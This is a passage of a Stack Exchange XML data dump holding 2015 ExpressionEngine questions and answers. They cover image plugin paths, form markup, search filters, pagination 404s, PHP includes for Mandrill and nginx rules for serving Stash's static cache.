  <row Id="32295" PostTypeId="1" CreationDate="2015-07-13T12:44:10.657" Score="0" ViewCount="54" Body="&lt;p&gt;I'm transferring my site to a different server.  I'm building out a microsite on Expression Engine 1.6.8.  The issue is the image path is not resolved using the Image Sizer plugin.  Here is an example of a tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{global_url}tour/&quot;&amp;gt;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;img src=&quot;{master_site}{exp:imgsizer:size src=&quot;{small_img}&quot; &#xA;justurl=&quot;yes&quot; width=&quot;249&quot; alt=&quot;&quot;}&quot; width=&quot;249&quot; alt=&quot;gator image&quot; class=&quot;gator&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What happens is the master_site global variable works, but no path is added for Image Sizer.   So the resulting tag is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://www.example.com&quot; width=&quot;249&quot; alt=&quot;gator image&quot; class=&quot;gator&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6306" LastEditorUserId="6306" LastEditDate="2015-07-15T21:56:20.957" LastActivityDate="2016-05-25T03:56:51.327" Title="Image Path Not Resolved" Tags="|plugin|image|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32296" PostTypeId="1" CreationDate="2015-07-13T13:01:05.177" Score="2" ViewCount="336" Body="&lt;p&gt;I doubt I'm the first person to request this, but it seems such an obvious requirement I can't believe it's not been done as yet.  I'm looking at &lt;a href=&quot;https://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt;, or &lt;a href=&quot;https://devot-ee.com/add-ons/blocks&quot; rel=&quot;nofollow&quot;&gt;Blocks&lt;/a&gt; I want to be able to place a grid (or matrix) within either of these systems, but I can't seem to find a solution that allows this?  Is it simply impossible or has no one else had the requirement? seems kind of an obvious requirement and would mean that these block builders offer the full flexibility that I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note blocks allows Nolan to be used inside it, however this isn't as flexible or user-friendly as I require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="6488" LastActivityDate="2020-05-22T23:01:00.110" Title="Grid/Matrix in Content Elements" Tags="|grid|content|blocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32297" PostTypeId="2" ParentId="32284" CreationDate="2015-07-13T14:03:05.600" Score="-1" Body="&lt;p&gt;I feel dumb -- all I needed to do was add dynamic=&quot;no&quot; to my form template channel entries tag. Lesson learned&lt;/p&gt;&#xA;" OwnerUserId="6485" LastActivityDate="2015-07-13T14:03:05.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32299" PostTypeId="2" ParentId="32109" CreationDate="2015-07-13T16:48:54.327" Score="1" Body="&lt;p&gt;I just battled this for half a day myself with Store and Stripe , and the issue ended up being with forms not being able to submit via javascript when there is any element inside the form named &lt;code&gt;submit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is tricky since originally, Store required that you have an input named &lt;code&gt;submit&lt;/code&gt; to complete the checkout process. They did add the ability to use &lt;code&gt;commit&lt;/code&gt; instead though as of version 1.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my testing, naming the submit input - or button - with &lt;code&gt;commit&lt;/code&gt; still didn't work (it was submitting as an empty value, which Store didn't detect), so I simply added a hidden input instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;commit&quot; value=&quot;y&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then made sure I left by submission button unnamed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&quot;submit&quot;&amp;gt;Submit Payment&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(One note as well: I opted to use &lt;a href=&quot;https://stripe.com/docs/tutorials/forms&quot; rel=&quot;nofollow&quot;&gt;Stripe's javascript template&lt;/a&gt; - which uses &lt;code&gt;data-stripe&lt;/code&gt; attributes - as a starting point, as it's much more up-to-date.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-07-13T16:48:54.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32300" PostTypeId="1" CreationDate="2015-07-13T18:12:24.200" Score="0" ViewCount="188" Body="&lt;p&gt;Is there a way to wrap label tags around radio and checkbox buttons. I am trying to use bootstrap inline form to make it look better but I can't find a good way to handle it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:field_1 backspace=&quot;2&quot; wrapper_open=&quot;&quot;&#xA;wrapper_close=&quot;&quot;&#xA;row_wrapper_open=&quot;&quot;&#xA;row_wrapper_close=&quot;&#xA;input_wrapper_close=&quot;&quot;&#xA;label_wrapper_open=&quot;&amp;lt;label class='radio-inline'&amp;gt;&quot;&#xA;label_wrapper_close=&quot;&amp;lt;/label&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is an example of some of the ways I tried to handle this. but this gives me a clickable label tag that doesn't select anything.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;&#xA;    &amp;lt;input type=&quot;radio&quot; name=&quot;field_1&quot;&amp;gt; Field 1&#xA;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the result I would like.&lt;/p&gt;&#xA;" OwnerUserId="6489" LastActivityDate="2019-05-15T15:01:43.010" Title="Wrap label tags around Checkboxes and Radio buttons" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32301" PostTypeId="2" ParentId="32300" CreationDate="2015-07-13T18:49:13.610" Score="0" Body="&lt;p&gt;? You can just construct your own form, you don't need to use tags with FreeForm.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;contact&quot; return=&quot;freeform-return/%%entry_id%%&quot;}&#xA;&#xA;&amp;lt;label for=&quot;first_name&quot;&amp;gt;&#xA;    Name&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;name&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;submit&quot;&amp;gt;&#xA;    Submit&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This  creates a valid form that submits to FreeForm and returns you to url-root.com/freeform-return/666.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; if that is the case (responding to your comment), why don't you use the fields as variable pairs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/freeform/form/#variable_pairs&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/form/#variable_pairs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:all_form_fields}&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;    {freeform:field_output}&#xA;    {if freeform:field_type == 'text'}hello!{/if}&#xA;&amp;lt;/p&amp;gt;&#xA;{/freeform:all_form_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will this magic work for the solution you want?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-13T19:38:16.730" LastActivityDate="2015-07-13T19:38:16.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32302" PostTypeId="1" AcceptedAnswerId="32303" CreationDate="2015-07-13T18:54:42.347" Score="0" ViewCount="39" Body="&lt;p&gt;I have doctor channel and a locations channel. Each doctor has one or more related locations. Each location has one or more categories assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Location1 has Region1 and Region2 categories assigned to it, and Location1 is related to Doctor1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to return a list of Doctor search results with doctors who work in Region1?&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-07-14T10:09:46.320" Title="How to get Low Search results based on the category of a related item?" Tags="|relationships|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32303" PostTypeId="2" ParentId="32302" CreationDate="2015-07-14T10:09:46.320" Score="1" Body="&lt;p&gt;Low Search cannot do this out of the box, but you can achieve it with either a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/create&quot; rel=&quot;nofollow&quot;&gt;custom filter&lt;/a&gt; or an &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/hooks&quot; rel=&quot;nofollow&quot;&gt;extension&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/hooks#low_search_pre_search&quot; rel=&quot;nofollow&quot;&gt;low_search_pre_search hook&lt;/a&gt;, you can read the Region category, query the database for Location entries, and assign those entries to a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#relationships&quot; rel=&quot;nofollow&quot;&gt;Relationships filter&lt;/a&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I could create the extension (or custom filter) for you, for a fee. Just &lt;a href=&quot;http://gotolow.com/contact&quot; rel=&quot;nofollow&quot;&gt;drop me a note&lt;/a&gt; if you're interested in that.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-07-14T10:09:46.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32304" PostTypeId="1" CreationDate="2015-07-14T10:28:56.490" Score="0" ViewCount="79" Body="&lt;p&gt;I hope Free form gets this fixed quick. My issue is that the forms did work then they just stopped. We did no upgrades to any of the modules or applications. Running Freeform 4.2 and EE 2.9. All the forms are not working now. Any help would be ideal! &lt;/p&gt;&#xA;" OwnerUserId="3427" LastActivityDate="2015-07-14T10:28:56.490" Title="Free Form issue with this form has expired" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32305" PostTypeId="1" CreationDate="2015-07-14T13:10:49.973" Score="0" ViewCount="78" Body="&lt;p&gt;For example with a &lt;code&gt;limit&lt;/code&gt; of &lt;code&gt;10&lt;/code&gt; and a total number of entries of &lt;code&gt;18&lt;/code&gt;, page 1 (&lt;code&gt;/foo/bar&lt;/code&gt;) should return 10 entries, page 2 (&lt;code&gt;/foo/bar/P10&lt;/code&gt;) would receive 8, any other page (&lt;code&gt;foo/bar/P20&lt;/code&gt;) should throw a 404.&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2016-05-27T07:55:51.233" Title="Is it possible to throw a 404 when pagination URL goes beyond the number of entries?" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32307" PostTypeId="1" AcceptedAnswerId="32309" CreationDate="2015-07-14T15:43:34.613" Score="0" ViewCount="49" Body="&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;products_insurance&quot; style=&quot;linear&quot;}&#xA;                &amp;lt;li data-submenu-id=&quot;submenu-{category_name}&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{path='borrow/#filter={category_url_title}'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;ul class=&quot;submenu&quot;&amp;gt;&#xA;                            {exp:channel:entries category=&quot;{category_id}&quot;}&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/exp:channel:entries}&#xA;&#xA;                         &amp;lt;/ul&amp;gt;&#xA;                 &amp;lt;/li&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this part though: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category=&quot;{category_id}&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is not looping, it's only showing the entries for the first category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for a custom dropdown menu I'm working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why it's not looping? From what I can tell it should be.&lt;/p&gt;&#xA;" OwnerUserId="6490" LastActivityDate="2015-07-14T16:44:21.353" Title="Entries in a category not looping" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32308" PostTypeId="2" ParentId="32305" CreationDate="2015-07-14T16:21:42.127" Score="0" Body="&lt;p&gt;you ready for this? I pray to crap that someone has a better answer but heeere we go...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn PHP on output for your form. At your template start, add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $paginate = FALSE; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your paginate loop set it to true:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;    &amp;lt;?php $paginate = TRUE; ?&amp;gt;&#xA;    Pagination links and stuff and things...&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then after your channel entries (or search or whatever loop) (this assumes segment_4 is your pagination segment):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!$paginate) {&#xA;&#xA;    if (&quot;{segment_4}&quot;)&#xA;    {&#xA;    ?&amp;gt;&#xA;         {redirect=&quot;404&quot;}&#xA;    &amp;lt;?php&#xA;    }&#xA;    ?&amp;gt;&#xA;&#xA;&amp;lt;? } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next issue... This works, but &lt;strong&gt;not&lt;/strong&gt; for a single paging number past your last result. So if P580 is your last pagination page, and you have 588 results, manually entering P588 works, P590 and up 404's, but P589 loads with a broken template display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a solution for fixing that, but this train just keeps getting messier, so see probably what else you can do; this is a kind-of band-aid.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-14T16:48:18.750" LastActivityDate="2015-07-14T16:48:18.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32309" PostTypeId="2" ParentId="32307" CreationDate="2015-07-14T16:44:21.353" Score="0" Body="&lt;p&gt;As JChrono asks, please verify the outer categories loop is putting all relivent ID's out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further still, to avoid any unwanted URL interference add the &lt;code&gt;dynamic&lt;/code&gt; tag to your channel entries loop, also try forcing the parse order with &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; on the categories loop, like so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;products_insurance&quot; style=&quot;linear&quot; parse=&quot;inward&quot;}&#xA;  &amp;lt;li data-submenu-id=&quot;submenu-{category_name}&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{path='borrow/#filter={category_url_title}'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;      &amp;lt;ul class=&quot;submenu&quot;&amp;gt;&#xA;        {exp:channel:entries category=&quot;{category_id}&quot; dynamic=&quot;no&quot;}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;      &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just a couple of simple things to try first, let us know if we need to get more in depth on this.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-14T16:44:21.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32310" PostTypeId="2" ParentId="32295" CreationDate="2015-07-14T16:55:56.800" Score="0" Body="&lt;p&gt;Did you say you're using imagesizer?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the permissions and ownership fo the folders where imagesizer is putting its cache. I'll bet its not writable, or owned by someone other than the web executing user (and thus it can not create its directories). Error Reporting can stop the errors appearing properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from this, sort those quotes out, as you never know PHP's magic quote settings might have changed or it may be reading differently, like so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{global_url}tour/&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;img src='&#xA;    {master_site}&#xA;    {exp:imgsizer:size src=&quot;{small_img}&quot; justurl=&quot;yes&quot; width=&quot;249&quot; alt=&quot;&quot;}&#xA;    ' width=&quot;249&quot; alt=&quot;Assisted Living Facilities Buffalo Grove - Take a tour&quot; class=&quot;lifestyle&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And lastly, jsut output hte path instead of obfuscating it inside the &lt;code&gt;img&lt;/code&gt; tag. Like so :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{global_url}tour/&quot;&amp;gt;&#xA;    {exp:imgsizer:size src=&quot;{small_img}&quot; justurl=&quot;yes&quot; width=&quot;249&quot; alt=&quot;&quot;}&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This last test will tell you if its a problem with the images (resizing, mkdir, mv file ect) or with the path itself. i.e. if the path looks good but there's no image on the filesystem this screams write permissions or ownership, if the path is blank but there's a file there its a problem somewhere inside imgsizer. Let us know whats happening, specifically if the images are being created in the right place and if the paths coming out right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some last things to check, since the server move has the server path to your root directory changed? i.e. was it &lt;code&gt;/home/mysite/public_html&lt;/code&gt; and now its &lt;code&gt;/var/www/vhosts/mysite/htdocs&lt;/code&gt; ? If the answer is Yes, please double check your paths in Content &gt; Files &gt; File Upload Preferences, as these may not have updated...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you have got GD lib installed and activated in PHP/Apache right? without it imgsizer won't be doing no resizing!!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know how you fare!!!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-14T16:55:56.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32311" PostTypeId="2" ParentId="32296" CreationDate="2015-07-14T17:00:07.387" Score="0" Body="&lt;p&gt;You may find yourself hard up here, as from my first glance neither of these modules support native field types, instead supplying their own. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I develop blocks and block embedding systems by hand depending on the client requirement, then to populate these blocks I might use &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low:Variables&lt;/a&gt; (which does support Grid, Matrix, P&amp;amp;T fields, anything!) to define the variables for that block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its a template and you may have many blocks of the type, why not drive the blocks off a channel field? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just some ideas for you as you haven't had an answer yet...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-14T17:00:07.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32313" PostTypeId="2" ParentId="31699" CreationDate="2015-07-14T23:22:12.283" Score="0" Body="&lt;p&gt;You can do this by navigating to Store &gt; Settings &gt; General &gt; Credit Card Payment Method and selecting &lt;em&gt;Authorize Only&lt;/em&gt; from the select box. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If set to Authorize Only, you will need to manually capture payments before the funds will be transferred to your account.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is however not gateway specific if you have multiple payment gateways in your store they will all be set to only authorize the transaction.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-14T23:22:12.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32314" PostTypeId="1" AcceptedAnswerId="32320" CreationDate="2015-07-15T09:00:06.327" Score="0" ViewCount="341" Body="&lt;p&gt;Mark Croxton helpfully provided &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Static-cache-setup#htaccess-file&quot; rel=&quot;nofollow&quot;&gt;this sample .htaccess&lt;/a&gt; for using Stash's static cache on Apache servers. Unfortunately, I'm running this particular site on nginx, and I haven't found any good answers on how to accomplish these same rewrite conditions with nginx. I'm hoping someone else has done it already and doesn't mind sharing their solution.&lt;/p&gt;&#xA;" OwnerUserId="6492" LastActivityDate="2015-11-04T20:36:13.430" Title="How can I set up nginx to serve Stash's static cache?" Tags="|stash|cache|static|nginx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32315" PostTypeId="1" CreationDate="2015-07-15T09:34:30.877" Score="1" ViewCount="84" Body="&lt;p&gt;I have changed Default Mail Format to HTML in email configuration but when I get email notifcations via the Discussion Forum it still contains HTML tags .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g., &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone any idea?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastEditorUserId="55" LastEditDate="2015-07-16T14:44:18.080" LastActivityDate="2015-11-20T07:01:07.623" Title="Discussion Forum Email Templates HTML" Tags="|wygwam|forum|discussion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32316" PostTypeId="2" ParentId="32314" CreationDate="2015-07-15T12:15:30.460" Score="0" Body="&lt;p&gt;This may not be the most helpful answer, but their are conversion tools for htaccess files to Nginx configuration files. See the first answer to this stack answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/5840497/convert-htaccess-to-nginx&quot;&gt;https://stackoverflow.com/questions/5840497/convert-htaccess-to-nginx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-07-15T12:15:30.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32317" PostTypeId="1" CreationDate="2015-07-15T13:49:34.807" Score="0" ViewCount="561" Body="&lt;p&gt;I'm trying to call an external PHP script from an Expression Engine form response template that sends emails using Mandrill API.  The script I have works on regular PHP, I have tested it, but there is some sort of issue with the path for the includes.  I've double checked the absolute paths and they are correct.  Anyone see an issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once '/www/host/public_html/mandrill-api-php/Mandrill.php';&#xA;require_once '/www/host/public_html/mandrill-api-php/madrillSend.php';&#xA;&#xA;$msg = &quot;TEST MESSAGE&quot;;&#xA;&#xA;$location = &quot;{location}&quot;;&#xA;$ebrochure = &quot;{ebrochure}&quot;; &#xA;&#xA;$output = SendMandrill($location, $msg, $ebrochure);&#xA;&#xA;echo $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;=================================================&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function SendMandrill($location, $msg, $ebrochure) {&#xA;&#xA;    $mandrill = new Mandrill('xxx');&#xA;    $message = array(&#xA;        'html' =&amp;gt; null,&#xA;        'text' =&amp;gt; $msg,&#xA;        'subject' =&amp;gt; $subj,&#xA;        'from_email' =&amp;gt; 'leads@yourdomain.com',&#xA;        'from_name' =&amp;gt; 'Leads Account',&#xA;        'to' =&amp;gt; array('email' =&amp;gt; 'jon@otherdomain.com', 'type' =&amp;gt; 'to),&#xA;        'headers' =&amp;gt; array('Reply-To' =&amp;gt; 'leads@yourdomain.com'),&#xA;        'important' =&amp;gt; false,&#xA;    );&#xA;&#xA;    $async = false;&#xA;    $ip_pool = 'Main Pool';&#xA;    $send_at = '';&#xA;    $result = $mandrill-&amp;gt;messages-&amp;gt;send($message, $async, $ip_pool, $send_at);&#xA;    return $result;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;==================================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: require_once(/www/host/public_html/mandrill-api-php/madrillSend.php) [function.require-once]: failed to open stream: No such file or directory in /www/host/public_html/system/core/core.functions.php(634) : eval()'d code on line 15&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: require_once() [function.require]: Failed opening required '/www/host/public_html/mandrill-api-php/madrillSend.php' (include_path='.:/usr/share/pear:/usr/share/phpz     ) in /www/host/public_html/system/core/core.functions.php(634) : eval()'d code on line 15&lt;/p&gt;&#xA;" OwnerUserId="6306" LastEditorUserId="3579" LastEditDate="2015-07-15T19:20:50.203" LastActivityDate="2020-05-12T19:00:45.060" Title="Include Issue Calling an External PHP Script from Expression Engine" Tags="|php|curl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32318" PostTypeId="2" ParentId="32317" CreationDate="2015-07-15T14:05:31.830" Score="0" Body="&lt;p&gt;What have you tried? There are all these variations (assuming /www/host/public_html/ is where your EE install is and is your document root):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('/www/host/public_html/mandrill-api-php/Mandrill.php');&#xA;&#xA;require_once('../../../../../mandrill-api-php/Mandrill.php';&#xA;&#xA;require_once(realpath($_SERVER[&quot;DOCUMENT_ROOT&quot;]) . 'mandrill-api-php/Mandrill.php');&#xA;&#xA;require_once($_SERVER['DOCUMENT_ROOT'] . 'mandrill-api-php/Mandrill.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and like 10 others. It's always possible the error is reporting the path you put in, but it actuality it's trying to load it from a relative path because EE or CI set's an environment thing. Just guessing a little, but try out some varaitions and report back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are file permissions all correct? Do you have two different PHP agents (one for EE core, one running everything else)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt; Are these templates set on PHP Input or Output?? If set on Input, your $location and $ebrochure variables won't get set properly.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-15T14:18:59.223" LastActivityDate="2015-07-15T14:18:59.223" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="32320" PostTypeId="2" ParentId="32314" CreationDate="2015-07-15T19:20:30.100" Score="1" Body="&lt;p&gt;So I dug into it, and here's what I've come up with. I've tested it extensive &lt;em&gt;on my setup&lt;/em&gt; (Laravel Forge), but of course YMMV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The methodology is a little different than the Apache version. Since we have to check for the existence of the cache file anyway (and we know there won't be a cache file for anything that isn't supposed to be cached), there's no benefit to excluding image files or other file assets from the rewrite conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, if the cache file exists, it's a GET request, and there isn't a query string that starts with css, ACT, URL, or preview, serve up the cache file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this in the server block (but not within a location block):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN STATIC CACHE RULES&#xA;set $cache false;&#xA;&#xA;# Disallow direct access of cache directory&#xA;location /cache {&#xA;    internal;&#xA;}&#xA;&#xA;# Only serve up cache if this cache file exists&#xA;if (-f $document_root/static_cache/[site_id]$request_uri/index.html) {&#xA;    set $cache true;&#xA;}&#xA;&#xA;# Don't serve up cache if not GET request&#xA;if ($request_method != GET) {&#xA;    set $cache false;&#xA;}&#xA;&#xA;# Don't serve up cache if any of these arg names start the query string&#xA;if ($args ~* ^(css|ACT|URL|preview)) {&#xA;    set $cache false;&#xA;}&#xA;&#xA;# Don't serve up cache to any logged-in user&#xA;if ($http_cookie ~ 'exp_sessionid') {&#xA;    set $cache false;&#xA;}&#xA;&#xA;# If cache is still enabled, go!&#xA;if ($cache = true) 